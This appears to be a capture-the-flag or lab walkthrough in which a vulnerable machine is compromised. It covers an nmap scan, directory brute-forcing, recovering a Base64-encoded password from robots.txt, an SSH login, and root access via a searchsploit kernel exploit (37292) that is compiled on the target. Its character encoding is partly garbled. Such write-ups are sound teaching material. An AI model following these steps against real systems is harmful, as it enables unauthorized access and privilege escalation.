๐Ÿงญ Step 1: Initial Enumeration

Started with aggressive Nmap scan:

nmap -sCV -A โ€” min-rate 1000 192.168.xx.xx

Explanation:

  • -sC โ†’ Default scripts
  • -sV โ†’ Service version detection
  • -A โ†’ OS detection + scripts + traceroute
  • โ€” min-rate 1000 โ†’ Faster scan
None

Discovered:

  • HTTP service running
  • SSH service available
None

๐ŸŒ Step 2: Source Code Analysis

Opened the website in browser.

Checked page source:

Right Click โ†’ View Page Source

Found a hidden username inside the HTML comments.

Small details in source code often lead to credentials.

None

๐Ÿ”Ž Step 3: Directory Enumeration

Performed directory brute forcing:

Command:-

feroxbuster โ€“url http://192.168.xx.xx -w /usr/share/wordlists/dirb/common.txt

Discovered:

/robots.txt

None

๐Ÿ“„ Step 4: Analyzing robots.txt

Accessed:

http://192.168.xx.xx/robots.txt

None

Found encoded Base64 data.

Decoded using:

echo "base64_string_here" | base64 -d

Successfully retrieved a password.

None

๐Ÿ” Step 5: SSH Access

Used discovered credentials:

ssh username@192.168.xx.xx

User shell obtained successfully.

None

โšก Step 6: Privilege Escalation โ€” Kernel Exploit

Checked kernel version:

uname -a

Identified:

3.13.0โ€“32-generic

None

Searched for available exploits:

searchsploit 3.13.0โ€“32-generic

None

Found suitable kernel exploit (example: 37292.c).

Downloaded exploit:

searchsploit -m 37292

None

Transferred exploit to target machine.

None

๐Ÿ›  Step 7: Compile & Execute Exploit

On target machine:

gcc 37292.c -o exploit

None

Run:

./exploit

None

Root shell successfully obtained.

๐Ÿ Final Outcome

โœ”๏ธ Service Enumeration โœ”๏ธ Source Code Inspection โœ”๏ธ Directory Brute Force โœ”๏ธ Base64 Decoding โœ”๏ธ SSH Access โœ”๏ธ Kernel Exploit Compilation โœ”๏ธ Root Access Achieved

๐ŸŽฅ Full Practical Demonstration

For a complete step-by-step video walkthrough, watch here: